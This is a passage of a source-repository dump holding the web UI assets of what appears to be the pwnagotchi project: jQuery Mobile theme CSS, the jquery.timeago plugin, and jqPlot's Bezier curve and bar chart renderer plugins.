/*{b-active-color}*/; text-shadow: 0 /*{b-active-shadow-x}*/ 1px /*{b-active-shadow-y}*/ 0 /*{b-active-shadow-radius}*/ #0088bb /*{b-active-shadow-color}*/; } /* Active radio button icon */ .ui-page-theme-b .ui-radio-on:after, html .ui-bar-b .ui-radio-on:after, html .ui-body-b .ui-radio-on:after, html body .ui-group-theme-b .ui-radio-on:after, .ui-btn.ui-radio-on.ui-btn-b:after { border-color: #22aadd /*{b-active-background-color}*/; } /* Focus */ .ui-page-theme-b .ui-btn:focus, html .ui-bar-b .ui-btn:focus, html .ui-body-b .ui-btn:focus, html body .ui-group-theme-b .ui-btn:focus, html head + body .ui-btn.ui-btn-b:focus, /* Focus buttons and text inputs with div wrap */ .ui-page-theme-b .ui-focus, html .ui-bar-b .ui-focus, html .ui-body-b .ui-focus, html body .ui-group-theme-b .ui-focus, html head + body .ui-btn-b.ui-focus, html head + body .ui-body-b.ui-focus { -webkit-box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; -moz-box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; } /* Structure */ /* Disabled -----------------------------------------------------------------------------------------------------------*/ /* Class ui-disabled deprecated in 1.4. :disabled not supported by IE8 so we use [disabled] */ .ui-disabled, .ui-state-disabled, button[disabled], .ui-select .ui-btn.ui-state-disabled { filter: Alpha(Opacity=30); opacity: .3; cursor: default !important; pointer-events: none; } /* Focus state outline -----------------------------------------------------------------------------------------------------------*/ .ui-btn:focus, .ui-btn.ui-focus { outline: 0; } /* Unset box-shadow in browsers that don't do it right */ .ui-noboxshadow .ui-shadow, .ui-noboxshadow .ui-shadow-inset, .ui-noboxshadow .ui-overlay-shadow, .ui-noboxshadow .ui-shadow-icon.ui-btn:after, .ui-noboxshadow .ui-shadow-icon .ui-btn:after, .ui-noboxshadow .ui-focus, .ui-noboxshadow .ui-btn:focus, .ui-noboxshadow input:focus, .ui-noboxshadow .ui-panel { -webkit-box-shadow: none !important; -moz-box-shadow: none !important; box-shadow: none !important; } .ui-noboxshadow .ui-btn:focus, .ui-noboxshadow .ui-focus { outline-width: 1px; outline-style: auto; } ================================================ FILE: pwnagotchi/ui/web/static/js/jquery.timeago.js ================================================ /** * Timeago is a jQuery plugin that makes it easy to support automatically * updating fuzzy timestamps (e.g. "4 minutes ago" or "about 1 day ago"). * * @name timeago * @version 1.6.7 * @requires jQuery >=1.5.0 <4.0 * @author Ryan McGeary * @license MIT License - http://www.opensource.org/licenses/mit-license.php * * For usage and examples, visit: * http://timeago.yarp.com/ * * Copyright (c) 2008-2019, Ryan McGeary (ryan -[at]- mcgeary [*dot*] org) */ (function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && typeof module.exports === 'object') { factory(require('jquery')); } else { // Browser globals factory(jQuery); } }(function ($) { $.timeago = function(timestamp) { if (timestamp instanceof Date) { return inWords(timestamp); } else if (typeof timestamp === "string") { return inWords($.timeago.parse(timestamp)); } else if (typeof timestamp === "number") { return inWords(new Date(timestamp)); } else { return inWords($.timeago.datetime(timestamp)); } }; var $t = $.timeago; $.extend($.timeago, { settings: { refreshMillis: 60000, allowPast: true, allowFuture: false, localeTitle: false, cutoff: 0, autoDispose: true, strings: { prefixAgo: null, prefixFromNow: null, suffixAgo: "ago", suffixFromNow: "from now", inPast: 'any moment now', seconds: "less than a minute", minute: "about a minute", minutes: "%d minutes", hour: "about an hour", hours: "about %d hours", day: "a day", days: "%d days", month: "about a month", months: "%d months", year: "about a year", years: "%d years", wordSeparator: " ", numbers: [] } }, inWords: function(distanceMillis) { if (!this.settings.allowPast && ! this.settings.allowFuture) { throw 'timeago allowPast and allowFuture settings can not both be set to false.'; } var $l = this.settings.strings; var prefix = $l.prefixAgo; var suffix = $l.suffixAgo; if (this.settings.allowFuture) { if (distanceMillis < 0) { prefix = $l.prefixFromNow; suffix = $l.suffixFromNow; } } if (!this.settings.allowPast && distanceMillis >= 0) { return this.settings.strings.inPast; } var seconds = Math.abs(distanceMillis) / 1000; var minutes = seconds / 60; var hours = minutes / 60; var days = hours / 24; var years = days / 365; function substitute(stringOrFunction, number) { var string = $.isFunction(stringOrFunction) ? stringOrFunction(number, distanceMillis) : stringOrFunction; var value = ($l.numbers && $l.numbers[number]) || number; return string.replace(/%d/i, value); } var words = seconds < 45 && substitute($l.seconds, Math.round(seconds)) || seconds < 90 && substitute($l.minute, 1) || minutes < 45 && substitute($l.minutes, Math.round(minutes)) || minutes < 90 && substitute($l.hour, 1) || hours < 24 && substitute($l.hours, Math.round(hours)) || hours < 42 && substitute($l.day, 1) || days < 30 && substitute($l.days, Math.round(days)) || days < 45 && substitute($l.month, 1) || days < 365 && substitute($l.months, Math.round(days / 30)) || years < 1.5 && substitute($l.year, 1) || substitute($l.years, Math.round(years)); var separator = $l.wordSeparator || ""; if ($l.wordSeparator === undefined) { separator = " "; } return $.trim([prefix, words, suffix].join(separator)); }, parse: function(iso8601) { var s = $.trim(iso8601); s = s.replace(/\.\d+/,""); // remove milliseconds s = s.replace(/-/,"/").replace(/-/,"/"); s = s.replace(/T/," ").replace(/Z/," UTC"); s = s.replace(/([\+\-]\d\d)\:?(\d\d)/," $1$2"); // -04:00 -> -0400 s = s.replace(/([\+\-]\d\d)$/," $100"); // +09 -> +0900 return new Date(s); }, datetime: function(elem) { var iso8601 = $t.isTime(elem) ? $(elem).attr("datetime") : $(elem).attr("title"); return $t.parse(iso8601); }, isTime: function(elem) { // jQuery's `is()` doesn't play well with HTML5 in IE return $(elem).get(0).tagName.toLowerCase() === "time"; // $(elem).is("time"); } }); // functions that can be called via $(el).timeago('action') // init is default when no action is given // functions are called with context of a single element var functions = { init: function() { functions.dispose.call(this); var refresh_el = $.proxy(refresh, this); refresh_el(); var $s = $t.settings; if ($s.refreshMillis > 0) { this._timeagoInterval = setInterval(refresh_el, $s.refreshMillis); } }, update: function(timestamp) { var date = (timestamp instanceof Date) ? timestamp : $t.parse(timestamp); $(this).data('timeago', { datetime: date }); if ($t.settings.localeTitle) { $(this).attr("title", date.toLocaleString()); } refresh.apply(this); }, updateFromDOM: function() { $(this).data('timeago', { datetime: $t.parse( $t.isTime(this) ? $(this).attr("datetime") : $(this).attr("title") ) }); refresh.apply(this); }, dispose: function () { if (this._timeagoInterval) { window.clearInterval(this._timeagoInterval); this._timeagoInterval = null; } } }; $.fn.timeago = function(action, options) { var fn = action ? functions[action] : functions.init; if (!fn) { throw new Error("Unknown function name '"+ action +"' for timeago"); } // each over objects here and call the requested function this.each(function() { fn.call(this, options); }); return this; }; function refresh() { var $s = $t.settings; //check if it's still visible if ($s.autoDispose && !$.contains(document.documentElement,this)) { //stop if it has been removed $(this).timeago("dispose"); return this; } var data = prepareData(this); if (!isNaN(data.datetime)) { if ( $s.cutoff === 0 || Math.abs(distance(data.datetime)) < $s.cutoff) { $(this).text(inWords(data.datetime)); } else { if ($(this).attr('title').length > 0) { $(this).text($(this).attr('title')); } } } return this; } function prepareData(element) { element = $(element); if (!element.data("timeago")) { element.data("timeago", { datetime: $t.datetime(element) }); var text = $.trim(element.text()); if ($t.settings.localeTitle) { element.attr("title", element.data('timeago').datetime.toLocaleString()); } else if (text.length > 0 && !($t.isTime(element) && element.attr("title"))) { element.attr("title", text); } } return element.data("timeago"); } function inWords(date) { return $t.inWords(distance(date)); } function distance(date) { return (new Date().getTime() - date.getTime()); } // fix for IE6 suckage document.createElement("abbr"); document.createElement("time"); })); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.BezierCurveRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { // Class: $.jqplot.BezierCurveRenderer.js // Renderer which draws lines as stacked bezier curves. // Data for the line will not be specified as an array of // [x, y] data point values, but as a an array of [start piont, bezier curve] // So, the line is specified as: [[xstart, ystart], [cp1x, cp1y, cp2x, cp2y, xend, yend]]. $.jqplot.BezierCurveRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.BezierCurveRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.BezierCurveRenderer.prototype.constructor = $.jqplot.BezierCurveRenderer; // Method: setGridData // converts the user data values to grid coordinates and stores them // in the gridData array. // Called with scope of a series. $.jqplot.BezierCurveRenderer.prototype.setGridData = function(plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; // this._plotData should be same as this.data var data = this.data; this.gridData = []; this._prevGridData = []; // if seriesIndex = 0, fill to x axis. // if seriesIndex > 0, fill to previous series data. var idx = this.index; if (data.length == 2) { if (idx == 0) { this.gridData = [ [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, data[0][1])], [xp.call(this._xaxis, data[1][0]), yp.call(this._yaxis, data[1][1]), xp.call(this._xaxis, data[1][2]), yp.call(this._yaxis, data[1][3]), xp.call(this._xaxis, data[1][4]), yp.call(this._yaxis, data[1][5])], [xp.call(this._xaxis, data[1][4]), yp.call(this._yaxis, this._yaxis.min)], [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, this._yaxis.min)] ]; } else { var psd = plot.series[idx-1].data; this.gridData = [ [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, data[0][1])], [xp.call(this._xaxis, data[1][0]), yp.call(this._yaxis, data[1][1]), xp.call(this._xaxis, data[1][2]), yp.call(this._yaxis, data[1][3]), xp.call(this._xaxis, data[1][4]), yp.call(this._yaxis, data[1][5])], [xp.call(this._xaxis, psd[1][4]), yp.call(this._yaxis, psd[1][5])], [xp.call(this._xaxis, psd[1][2]), yp.call(this._yaxis, psd[1][3]), xp.call(this._xaxis, psd[1][0]), yp.call(this._yaxis, psd[1][1]), xp.call(this._xaxis, psd[0][0]), yp.call(this._yaxis, psd[0][1])] ]; } } else { if (idx == 0) { this.gridData = [ [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, data[0][1])], [xp.call(this._xaxis, data[1][0]), yp.call(this._yaxis, data[1][1]), xp.call(this._xaxis, data[2][0]), yp.call(this._yaxis, data[2][1]), xp.call(this._xaxis, data[3][0]), yp.call(this._yaxis, data[3][1])], [xp.call(this._xaxis, data[3][1]), yp.call(this._yaxis, this._yaxis.min)], [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, this._yaxis.min)] ]; } else { var psd = plot.series[idx-1].data; this.gridData = [ [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, data[0][1])], [xp.call(this._xaxis, data[1][0]), yp.call(this._yaxis, data[1][1]), xp.call(this._xaxis, data[2][0]), yp.call(this._yaxis, data[2][1]), xp.call(this._xaxis, data[3][0]), yp.call(this._yaxis, data[3][1])], [xp.call(this._xaxis, psd[3][0]), yp.call(this._yaxis, psd[3][1])], [xp.call(this._xaxis, psd[2][0]), yp.call(this._yaxis, psd[2][1]), xp.call(this._xaxis, psd[1][0]), yp.call(this._yaxis, psd[1][1]), xp.call(this._xaxis, psd[0][0]), yp.call(this._yaxis, psd[0][1])] ]; } } }; // Method: makeGridData // converts any arbitrary data values to grid coordinates and // returns them. This method exists so that plugins can use a series' // linerenderer to generate grid data points without overwriting the // grid data associated with that series. // Called with scope of a series. $.jqplot.BezierCurveRenderer.prototype.makeGridData = function(data, plot) { // recalculate the grid data var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var gd = []; var pgd = []; // if seriesIndex = 0, fill to x axis. // if seriesIndex > 0, fill to previous series data. var idx = this.index; if (data.length == 2) { if (idx == 0) { gd = [ [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, data[0][1])], [xp.call(this._xaxis, data[1][0]), yp.call(this._yaxis, data[1][1]), xp.call(this._xaxis, data[1][2]), yp.call(this._yaxis, data[1][3]), xp.call(this._xaxis, data[1][4]), yp.call(this._yaxis, data[1][5])], [xp.call(this._xaxis, data[1][4]), yp.call(this._yaxis, this._yaxis.min)], [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, this._yaxis.min)] ]; } else { var psd = plot.series[idx-1].data; gd = [ [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, data[0][1])], [xp.call(this._xaxis, data[1][0]), yp.call(this._yaxis, data[1][1]), xp.call(this._xaxis, data[1][2]), yp.call(this._yaxis, data[1][3]), xp.call(this._xaxis, data[1][4]), yp.call(this._yaxis, data[1][5])], [xp.call(this._xaxis, psd[1][4]), yp.call(this._yaxis, psd[1][5])], [xp.call(this._xaxis, psd[1][2]), yp.call(this._yaxis, psd[1][3]), xp.call(this._xaxis, psd[1][0]), yp.call(this._yaxis, psd[1][1]), xp.call(this._xaxis, psd[0][0]), yp.call(this._yaxis, psd[0][1])] ]; } } else { if (idx == 0) { gd = [ [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, data[0][1])], [xp.call(this._xaxis, data[1][0]), yp.call(this._yaxis, data[1][1]), xp.call(this._xaxis, data[2][0]), yp.call(this._yaxis, data[2][1]), xp.call(this._xaxis, data[3][0]), yp.call(this._yaxis, data[3][1])], [xp.call(this._xaxis, data[3][1]), yp.call(this._yaxis, this._yaxis.min)], [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, this._yaxis.min)] ]; } else { var psd = plot.series[idx-1].data; gd = [ [xp.call(this._xaxis, data[0][0]), yp.call(this._yaxis, data[0][1])], [xp.call(this._xaxis, data[1][0]), yp.call(this._yaxis, data[1][1]), xp.call(this._xaxis, data[2][0]), yp.call(this._yaxis, data[2][1]), xp.call(this._xaxis, data[3][0]), yp.call(this._yaxis, data[3][1])], [xp.call(this._xaxis, psd[3][0]), yp.call(this._yaxis, psd[3][1])], [xp.call(this._xaxis, psd[2][0]), yp.call(this._yaxis, psd[2][1]), xp.call(this._xaxis, psd[1][0]), yp.call(this._yaxis, psd[1][1]), xp.call(this._xaxis, psd[0][0]), yp.call(this._yaxis, psd[0][1])] ]; } } return gd; }; // called within scope of series. $.jqplot.BezierCurveRenderer.prototype.draw = function(ctx, gd, options) { var i; ctx.save(); if (gd.length) { if (this.showLine) { ctx.save(); var opts = (options != null) ? options : {}; ctx.fillStyle = opts.fillStyle || this.color; ctx.beginPath(); ctx.moveTo(gd[0][0], gd[0][1]); ctx.bezierCurveTo(gd[1][0], gd[1][1], gd[1][2], gd[1][3], gd[1][4], gd[1][5]); ctx.lineTo(gd[2][0], gd[2][1]); if (gd[3].length == 2) { ctx.lineTo(gd[3][0], gd[3][1]); } else { ctx.bezierCurveTo(gd[3][0], gd[3][1], gd[3][2], gd[3][3], gd[3][4], gd[3][5]); } ctx.closePath(); ctx.fill(); ctx.restore(); } } ctx.restore(); }; $.jqplot.BezierCurveRenderer.prototype.drawShadow = function(ctx, gd, options) { // This is a no-op, shadows drawn with lines. }; $.jqplot.BezierAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); }; $.jqplot.BezierAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.BezierAxisRenderer.prototype.constructor = $.jqplot.BezierAxisRenderer; // Axes on a plot with Bezier Curves $.jqplot.BezierAxisRenderer.prototype.init = function(options){ $.extend(true, this, options); var db = this._dataBounds; // Go through all the series attached to this axis and find // the min/max bounds for this axis. for (var i=0; i<this._series.length; i++) { var s = this._series[i]; var d = s.data; if (d.length == 4) { for (var j=0; j<d.length; j++) { if (this.name == 'xaxis' || this.name == 'x2axis') { if (d[j][0] < db.min || db.min == null) { db.min = d[j][0]; } if (d[j][0] > db.max || db.max == null) { db.max = d[j][0]; } } else { if (d[j][1] < db.min || db.min == null) { db.min = d[j][1]; } if (d[j][1] > db.max || db.max == null) { db.max = d[j][1]; } } } } else { if (this.name == 'xaxis' || this.name == 'x2axis') { if (d[0][0] < db.min || db.min == null) { db.min = d[0][0]; } if (d[0][0] > db.max || db.max == null) { db.max = d[0][0]; } for (var j=0; j<5; j+=2) { if (d[1][j] < db.min || db.min == null) { db.min = d[1][j]; } if (d[1][j] > db.max || db.max == null) { db.max = d[1][j]; } } } else { if (d[0][1] < db.min || db.min == null) { db.min = d[0][1]; } if (d[0][1] > db.max || db.max == null) { db.max = d[0][1]; } for (var j=1; j<6; j+=2) { if (d[1][j] < db.min || db.min == null) { db.min = d[1][j]; } if (d[1][j] > db.max || db.max == null) { db.max = d[1][j]; } } } } } }; // setup default renderers for axes and legend so user doesn't have to // called with scope of plot function preInit(target, data, options) { options = options || {}; options.axesDefaults = $.extend(true, {pad:0}, options.axesDefaults); options.seriesDefaults = options.seriesDefaults || {}; options.legend = $.extend(true, {placement:'outside'}, options.legend); // only set these if there is a pie series var setopts = false; if (options.seriesDefaults.renderer == $.jqplot.BezierCurveRenderer) { setopts = true; } else if (options.series) { for (var i=0; i < options.series.length; i++) { if (options.series[i].renderer == $.jqplot.BezierCurveRenderer) { setopts = true; } } } if (setopts) { options.axesDefaults.renderer = $.jqplot.BezierAxisRenderer; } } $.jqplot.preInitHooks.push(preInit); })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.barRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { // Class: $.jqplot.BarRenderer // A plugin renderer for jqPlot to draw a bar plot. // Draws series as a line. $.jqplot.BarRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.BarRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.BarRenderer.prototype.constructor = $.jqplot.BarRenderer; // called with scope of series. $.jqplot.BarRenderer.prototype.init = function(options, plot) { // Group: Properties // // prop: barPadding // Number of pixels between adjacent bars at the same axis value. this.barPadding = 8; // prop: barMargin // Number of pixels between groups of bars at adjacent axis values. this.barMargin = 10; // prop: barDirection // 'vertical' = up and down bars, 'horizontal' = side to side bars this.barDirection = 'vertical'; // prop: barWidth // Width of the bar in pixels (auto by devaul). null = calculated automatically. this.barWidth = null; // prop: shadowOffset // offset of the shadow from the slice and offset of // each succesive stroke of the shadow from the last. this.shadowOffset = 2; // prop: shadowDepth // number of strokes to apply to the shadow, // each stroke offset shadowOffset from the last. this.shadowDepth = 5; // prop: shadowAlpha // transparency of the shadow (0 = transparent, 1 = opaque) this.shadowAlpha = 0.08; // prop: waterfall // true to enable waterfall plot. this.waterfall = false; // prop: groups // group bars into this many groups this.groups = 1; // prop: varyBarColor // true to color each bar of a series separately rather than // have every bar of a given series the same color. // If used for non-stacked multiple series bar plots, user should // specify a separate 'seriesColors' array for each series. // Otherwise, each series will set their bars to the same color array. // This option has no Effect for stacked bar charts and is disabled. this.varyBarColor = false; // prop: highlightMouseOver // True to highlight slice when moused over. // This must be false to enable highlightMouseDown to highlight when clicking on a slice. this.highlightMouseOver = true; // prop: highlightMouseDown // True to highlight when a mouse button is pressed over a slice. // This will be disabled if highlightMouseOver is true. this.highlightMouseDown = false; // prop: highlightColors // an array of colors to use when highlighting a bar. this.highlightColors = []; // prop: transposedData // NOT IMPLEMENTED YET. True if this is a horizontal bar plot and // x and y values are "transposed". Tranposed, or "swapped", data is // required prior to rev. 894 builds of jqPlot with horizontal bars. // Allows backward compatability of bar renderer horizontal bars with // old style data sets. this.transposedData = true; this.renderer.animation = { show: false, direction: 'down', speed: 3000, _supported: true }; this._type = 'bar'; // if user has passed in highlightMouseDown option and not set highlightMouseOver, disable highlightMouseOver if (options.highlightMouseDown && options.highlightMouseOver == null) { options.highlightMouseOver = false; } ////// // This is probably wrong here. // After going back and forth on whether renderer should be the thing // or extend the thing, it seems that it it best if it is a property // on the thing. This should be something that is commonized // among series renderers in the future. ////// $.extend(true, this, options); // really should probably do this $.extend(true, this.renderer, options); // fill is still needed to properly draw the legend. // bars have to be filled. this.fill = true; // if horizontal bar and animating, reset the default direction if (this.barDirection === 'horizontal' && this.rendererOptions.animation && this.rendererOptions.animation.direction == null) { this.renderer.animation.direction = 'left'; } if (this.waterfall) { this.fillToZero = false; this.disableStack = true; } if (this.barDirection == 'vertical' ) { this._primaryAxis = '_xaxis'; this._stackAxis = 'y'; this.fillAxis = 'y'; } else { this._primaryAxis = '_yaxis'; this._stackAxis = 'x'; this.fillAxis = 'x'; } // index of the currenty highlighted point, if any this._highlightedPoint = null; // total number of values for all bar series, total number of bar series, and position of this series this._plotSeriesInfo = null; // Array of actual data colors used for each data point. this._dataColors = []; this._barPoints = []; // set the shape renderer options var opts = {lineJoin:'miter', lineCap:'round', fill:true, isarc:false, strokeStyle:this.color, fillStyle:this.color, closePath:this.fill}; this.renderer.shapeRenderer.init(opts); // set the shadow renderer options var sopts = {lineJoin:'miter', lineCap:'round', fill:true, isarc:false, angle:this.shadowAngle, offset:this.shadowOffset, alpha:this.shadowAlpha, depth:this.shadowDepth, closePath:this.fill}; this.renderer.shadowRenderer.init(sopts); plot.postInitHooks.addOnce(postInit); plot.postDrawHooks.addOnce(postPlotDraw); plot.eventListenerHooks.addOnce('jqplotMouseMove', handleMove); plot.eventListenerHooks.addOnce('jqplotMouseDown', handleMouseDown); plot.eventListenerHooks.addOnce('jqplotMouseUp', handleMouseUp); plot.eventListenerHooks.addOnce('jqplotClick', handleClick); plot.eventListenerHooks.addOnce('jqplotRightClick', handleRightClick); }; // called with scope of series function barPreInit(target, data, seriesDefaults, options) { if (this.rendererOptions.barDirection == 'horizontal') { this._stackAxis = 'x'; this._primaryAxis = '_yaxis'; } if (this.rendererOptions.waterfall == true) { this._data = $.extend(true, [], this.data); var sum = 0; var pos = (!this.rendererOptions.barDirection || this.rendererOptions.barDirection === 'vertical' || this.transposedData === false) ? 1 : 0; for(var i=0; i<this.data.length; i++) { sum += this.data[i][pos]; if (i>0) { this.data[i][pos] += this.data[i-1][pos]; } } this.data[this.data.length] = (pos == 1) ? [this.data.length+1, sum] : [sum, this.data.length+1]; this._data[this._data.length] = (pos == 1) ? [this._data.length+1, sum] : [sum, this._data.length+1]; } if (this.rendererOptions.groups > 1) { this.breakOnNull = true; var l = this.data.length; var skip = parseInt(l/this.rendererOptions.groups, 10); var count = 0; for (var i=skip; i<l; i+=skip) { this.data.splice(i+count, 0, [null, null]); this._plotData.splice(i+count, 0, [null, null]); this._stackData.splice(i+count, 0, [null, null]); count++; } for (i=0; i<this.data.length; i++) { if (this._primaryAxis == '_xaxis') { this.data[i][0] = i+1; this._plotData[i][0] = i+1; this._stackData[i][0] = i+1; } else { this.data[i][1] = i+1; this._plotData[i][1] = i+1; this._stackData[i][1] = i+1; } } } } $.jqplot.preSeriesInitHooks.push(barPreInit); // needs to be called with scope of series, not renderer. $.jqplot.BarRenderer.prototype.calcSeriesNumbers = function() { var nvals = 0; var nseries = 0; var paxis = this[this._primaryAxis]; var s, series, pos; // loop through all series on this axis for (var i=0; i < paxis._series.length; i++) { series = paxis._series[i]; if (series === this) { pos = i; } // is the series rendered as a bar? if (series.renderer.constructor == $.jqplot.BarRenderer) { // gridData may not be computed yet, use data length insted nvals += series.data.length; nseries += 1; } } // return total number of values for all bar series, total number of bar series, and position of this series return [nvals, nseries, pos]; }; $.jqplot.BarRenderer.prototype.setBarWidth = function() { // need to know how many data values we have on the approprate axis and figure it out. var i; var nvals = 0; var nseries = 0; var paxis = this[this._primaryAxis]; var s, series, pos; var temp = this._plotSeriesInfo = this.renderer.calcSeriesNumbers.call(this); nvals = temp[0]; nseries = temp[1]; var nticks = paxis.numberTicks; var nbins = (nticks-1)/2; // so, now we have total number of axis values. if (paxis.name == 'xaxis' || paxis.name == 'x2axis') { if (this._stack) { this.barWidth = (paxis._offsets.max - paxis._offsets.min) / nvals * nseries - this.barMargin; } else { this.barWidth = ((paxis._offsets.max - paxis._offsets.min)/nbins - this.barPadding * (nseries-1) - this.barMargin*2)/nseries; // this.barWidth = (paxis._offsets.max - paxis._offsets.min) / nvals - this.barPadding - this.barMargin/nseries; } } else { if (this._stack) { this.barWidth = (paxis._offsets.min - paxis._offsets.max) / nvals * nseries - this.barMargin; } else { this.barWidth = ((paxis._offsets.min - paxis._offsets.max)/nbins - this.barPadding * (nseries-1) - this.barMargin*2)/nseries; // this.barWidth = (paxis._offsets.min - paxis._offsets.max) / nvals - this.barPadding - this.barMargin/nseries; } } return [nvals, nseries]; }; function computeHighlightColors (colors) { var ret = []; for (var i=0; i<colors.length; i++){ var rgba = $.jqplot.getColorComponents(colors[i]); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. newrgb[j] = (sum > 570) ? newrgb[j] * 0.8 : newrgb[j] + 0.3 * (255 - newrgb[j]); newrgb[j] = parseInt(newrgb[j], 10); } ret.push('rgb('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+')'); } return ret; } function getStart(sidx, didx, comp, plot, axis) { // check if sign change var seriesIndex = sidx, prevSeriesIndex = sidx - 1, start, prevVal, aidx = (axis === 'x') ? 0 : 1; // is this not the first series? if (seriesIndex > 0) { prevVal = plot.series[prevSeriesIndex]._plotData[didx][aidx]; // is there a sign change if ((comp * prevVal) < 0) { start = getStart(prevSeriesIndex, didx, comp, plot, axis); } // no sign change. else { start = plot.series[prevSeriesIndex].gridData[didx][aidx]; } } // if first series, return value at 0 else { start = (aidx === 0) ? plot.series[seriesIndex]._xaxis.series_u2p(0) : plot.series[seriesIndex]._yaxis.series_u2p(0); } return start; } $.jqplot.BarRenderer.prototype.draw = function(ctx, gridData, options, plot) { var i; // Ughhh, have to make a copy of options b/c it may be modified later. var opts = $.extend({}, options); var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var fill = (opts.fill != undefined) ? opts.fill : this.fill; var xaxis = this.xaxis; var yaxis = this.yaxis; var xp = this._xaxis.series_u2p; var yp = this._yaxis.series_u2p; var pointx, pointy; // clear out data colors. this._dataColors = []; this._barPoints = []; if (this.barWidth == null || this.rendererOptions.barWidth == null) {//check pull request https://bitbucket.org/cleonello/jqplot/pull-request/61/fix-for-issue-513/diff this.renderer.setBarWidth.call(this); } var temp = this._plotSeriesInfo = this.renderer.calcSeriesNumbers.call(this); var nvals = temp[0]; var nseries = temp[1]; var pos = temp[2]; var points = []; if (this._stack) { this._barNudge = 0; } else { this._barNudge = (-Math.abs(nseries/2 - 0.5) + pos) * (this.barWidth + this.barPadding); } if (showLine) { var negativeColors = new $.jqplot.ColorGenerator(this.negativeSeriesColors); var positiveColors = new $.jqplot.ColorGenerator(this.seriesColors); var negativeColor = negativeColors.get(this.index); if (! this.useNegativeColors) { negativeColor = opts.fillStyle; } var positiveColor = opts.fillStyle; var base; var xstart; var ystart; if (this.barDirection == 'vertical') { for (var i=0; i<gridData.length; i++) { if (!this._stack && this.data[i][1] == null) { continue; } points = []; base = gridData[i][0] + this._barNudge; // stacked if (this._stack && this._prevGridData.length) { ystart = getStart(this.index, i, this._plotData[i][1], plot, 'y'); } // not stacked else { if (this.fillToZero) { ystart = this._yaxis.series_u2p(0); } else if (this.waterfall && i > 0 && i < this.gridData.length-1) { ystart = this.gridData[i-1][1]; } else if (this.waterfall && i == 0 && i < this.gridData.length-1) { if (this._yaxis.min <= 0 && this._yaxis.max >= 0) { ystart = this._yaxis.series_u2p(0); } else if (this._yaxis.min > 0) { ystart = ctx.canvas.height; } else { ystart = 0; } } else if (this.waterfall && i == this.gridData.length - 1) { if (this._yaxis.min <= 0 && this._yaxis.max >= 0) { ystart = this._yaxis.series_u2p(0); } else if (this._yaxis.min > 0) { ystart = ctx.canvas.height; } else { ystart = 0; } } else { ystart = ctx.canvas.height; } } if ((this.fillToZero && this._plotData[i][1] < 0) || (this.waterfall && this._data[i][1] < 0)) { if (this.varyBarColor && !this._stack) { if (this.useNegativeColors) { opts.fillStyle = negativeColors.next(); } else { opts.fillStyle = positiveColors.next(); } } else { opts.fillStyle = negativeColor; } } else { if (this.varyBarColor && !this._stack) { opts.fillStyle = positiveColors.next(); } else { opts.fillStyle = positiveColor; } } if (!this.fillToZero || this._plotData[i][1] >= 0) { points.push([base-this.barWidth/2, ystart]); points.push([base-this.barWidth/2, gridData[i][1]]); points.push([base+this.barWidth/2, gridData[i][1]]); 